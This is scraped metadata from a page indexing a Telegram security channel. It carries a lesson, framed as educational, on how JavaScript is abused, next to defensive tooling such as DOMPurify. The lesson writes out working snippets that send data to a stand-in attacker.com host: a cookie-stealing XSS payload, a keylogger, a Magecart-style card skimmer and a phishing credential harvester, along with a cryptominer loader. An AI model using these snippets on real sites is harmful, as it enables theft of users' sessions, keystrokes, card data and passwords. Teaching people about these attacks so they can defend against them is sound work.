xtawb

');\n \n page.on('dialog', async (dialog) => {\n console.log('XSS Vulnerability Found!');\n await dialog.dismiss();\n });\n \n await browser.close();\n})();\n$-$\n\n$$ 2. Security Libraries \n- DOMPurify: Sanitize HTML inputs to prevent XSS. \n- Helmet.js: Secure Express.js apps by setting HTTP headers. \n- Crypto.js: Encrypt sensitive data client-side. \n\nExample: Sanitizing User Input with DOMPurify \nconst clean = DOMPurify.sanitize(userInput, {\n ALLOWED_TAGS: ['b', 'i', 'em', 'strong'] // Allow only basic tags\n});\n\ndocument.getElementById('output').innerHTML = clean;\n$-$\n\n$$ 3. Reverse Engineering & Analysis \n- JStillery: Deobfuscate malicious JavaScript code. \n- Chrome DevTools: Debug and analyze suspicious scripts. \n- AST Explorer: Parse code structure to detect obfuscation. \n\nExample: Deobfuscating Malicious Code \n// Original obfuscated code\neval(function(p,a,c,k,e,d){...}(...));\n\n// Deobfuscated using tools like JStillery\nconsole.log('Stolen data sent to attacker.com');","datePublished":"2025-02-08T01:08:04Z","dateModified":"2025-02-08T01:08:04Z","author":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"publisher":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":61}]}},{"@type":"ListItem","position":8,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1182","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1182","mainEntityOfPage":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1182","headline":"ˣᵗᵃʷᵇ/$Lesson Five: JavaScript in Cybersecurity J - L: JavaScript Have you ever wondered how hackers breach w…","articleBody":"ˣᵗᵃʷᵇ/$Lesson Five: JavaScript in Cybersecurity\n\nJ - L: JavaScript \nHave you ever wondered how hackers breach websites or steal user data in real-time? \n-> Let’s explore how JavaScript can be weaponized. \nJavaScript is a cornerstone of web development, but it’s also a double-edged sword in cybersecurity. \nWhile JavaScript enables dynamic web experiences, attackers often abuse it for malicious purposes. Hacking is illegal and unethical unless conducted with explicit authorization (e.g., bug bounties or penetration testing). Below are real-world incidents where JavaScript *could have been* exploited, along with hypothetical attack scenarios. These examples are educational—meant to help you understand vulnerabilities and defend against them.\n\n\"*\" \n\nReal-World Hacking Incidents Involving JavaScript\n\n$-$\n\n$$ 1. Cross-Site Scripting (XSS) Attacks \n- What Happened: Attackers injected malicious scripts into legitimate websites (e.g., forums, e-commerce platforms) to steal session cookies or redirect users to phishing pages. \n- How JavaScript Could Be Used: \n - Malicious scripts embedded in input fields (e.g., comments, search bars) execute in victims’ browsers. \n - Attackers use JavaScript to exfiltrate cookies or keylog user inputs. \n\nExample Code (Hypothetical XSS Payload): \n// Stealing cookies from a vulnerable site\ndocument.location = 'https://attacker.com/steal?data=' + document.cookie;\n\n// Keylogging user inputs\ndocument.addEventListener('keypress', (e) => {\n fetch('https://attacker.com/log?key=' + e.key);\n});\n$-$\n\n$$ 2. Magecart Credit Card Skimming (2018–Present) \n- What Happened: Hackers compromised payment forms on e-commerce sites (e.g., British Airways, Ticketmaster) to steal credit card details. \n- How JavaScript Could Be Used: \n - Malicious JavaScript injected into third-party scripts (e.g., shopping carts) captures and sends payment data to attackers. \n\nExample Code (Hypothetical Skimmer): \n// Intercepting form submissions\ndocument.querySelector('form').addEventListener('submit', (e) => {\n const cardData = {\n number: document.getElementById('card-number').value,\n cvv: document.getElementById('cvv').value\n };\n fetch('https://attacker.com/exfil', {\n method: 'POST',\n body: JSON.stringify(cardData)\n });\n});\n$-$\n\n$$ 3. Cryptojacking Campaigns \n- What Happened: Attackers hijacked users’ CPU resources to mine cryptocurrency without consent (e.g., via compromised WordPress plugins). \n- How JavaScript Could Be Used: \n - Embedding crypto-mining scripts (e.g., CoinHive) into websites. \n\nExample Code (Hypothetical Miner): \n// Loading a crypto-mining script\nconst script = document.createElement('script');\nscript.src = 'https://coinhive.com/lib/miner.js';\ndocument.body.appendChild(script);\n\n// Starting the miner\nconst miner = new CoinHive.Anonymous('YOUR_API_KEY');\nminer.start();\n$-$\n\n$$ 4. Social Media Account Takeovers \n- What Happened: Attackers used malicious browser extensions or phishing pages to hijack social media sessions. \n- How JavaScript Could Be Used: \n - JavaScript in fake login pages captures credentials. \n - Browser extensions with malicious scripts steal authentication tokens. \n\nExample Code (Hypothetical Credential Harvesting): \n// Phishing page logic\ndocument.getElementById('login-form').addEventListener('submit', (e) => {\n e.preventDefault();\n const username = document.getElementById('username').value;\n const password = document.getElementById('password').value;\n \n fetch('https://attacker.com/phish', {\n method: 'POST',\n body: `user=${username}&pass=${password}`\n });\n \n window.location.href = 'https://real-site.com/login'; // Redirect to real site\n});\n$-$","datePublished":"2025-02-08T01:08:03Z","dateModified":"2025-02-08T01:08:03Z","author":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"publisher":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":90},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1}]}},{"@type":"ListItem","position":9,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1181","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1181","mainEntityOfPage":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1181","headline":"xtawb","datePublished":"2025-02-08T01:07:44Z","dateModified":"2025-02-08T01:07:44Z","author":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"publisher":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":85}]}},{"@type":"ListItem","position":10,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1180","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1180","mainEntityOfPage":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1180","headline":"xtawb","datePublished":"2025-02-07T00:11:42Z","dateModified":"2025-02-07T00:11:42Z","author":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"publisher":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":118},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1}]}},{"@type":"ListItem","position":11,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1179","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1179","mainEntityOfPage":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1179","headline":"xtawb","datePublished":"2025-02-07T00:11:42Z","dateModified":"2025-02-07T00:11:42Z","author":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"publisher":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":110},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1}]}},{"@type":"ListItem","position":12,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1178","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1178","mainEntityOfPage":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1178","headline":"xtawb","datePublished":"2025-02-07T00:11:42Z","dateModified":"2025-02-07T00:11:42Z","author":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"publisher":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":106},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1}]}},{"@type":"ListItem","position":13,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1177","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1177","mainEntityOfPage":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1177","headline":"xtawb","datePublished":"2025-02-07T00:11:41Z","dateModified":"2025-02-07T00:11:41Z","author":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"publisher":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":105},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1}]}},{"@type":"ListItem","position":14,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1176","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1176","mainEntityOfPage":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1176","headline":"xtawb","datePublished":"2025-02-07T00:11:41Z","dateModified":"2025-02-07T00:11:41Z","author":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"publisher":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":82}]}},{"@type":"ListItem","position":15,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1175","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1175","mainEntityOfPage":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1175","headline":"xtawb","datePublished":"2025-02-07T00:11:41Z","dateModified":"2025-02-07T00:11:41Z","author":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"publisher":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":82}]}},{"@type":"ListItem","position":16,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1174","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1174","mainEntityOfPage":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1174","headline":"xtawb","datePublished":"2025-02-07T00:11:41Z","dateModified":"2025-02-07T00:11:41Z","author":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"publisher":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":80}]}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1173","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1173","mainEntityOfPage":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1173","headline":"xtawb","datePublished":"2025-02-07T00:11:41Z","dateModified":"2025-02-07T00:11:41Z","author":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"publisher":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":85}]}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1165","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1165","mainEntityOfPage":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1165","headline":"xtawb","datePublished":"2025-02-07T00:03:20Z","dateModified":"2025-02-07T00:11:32Z","author":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"publisher":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1}]}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1164","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1164","mainEntityOfPage":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1164","headline":"xtawb","datePublished":"2025-02-06T23:59:10Z","dateModified":"2025-02-07T00:03:04Z","author":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"publisher":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1}]}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1163","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1163","mainEntityOfPage":"https://telemetr.io/ar/channels/1504847252-devilxtawb/posts/1163","headline":"xtawb","datePublished":"2025-02-06T23:59:09Z","dateModified":"2025-02-07T00:03:04Z","author":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"publisher":{"@type":"Organization","name":"xtawb","url":"https://telemetr.io/ar/channels/1504847252-devilxtawb","image":"https://img.tlmtr.io/c/1DQbvS/5963094235869725380?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1}]}}]}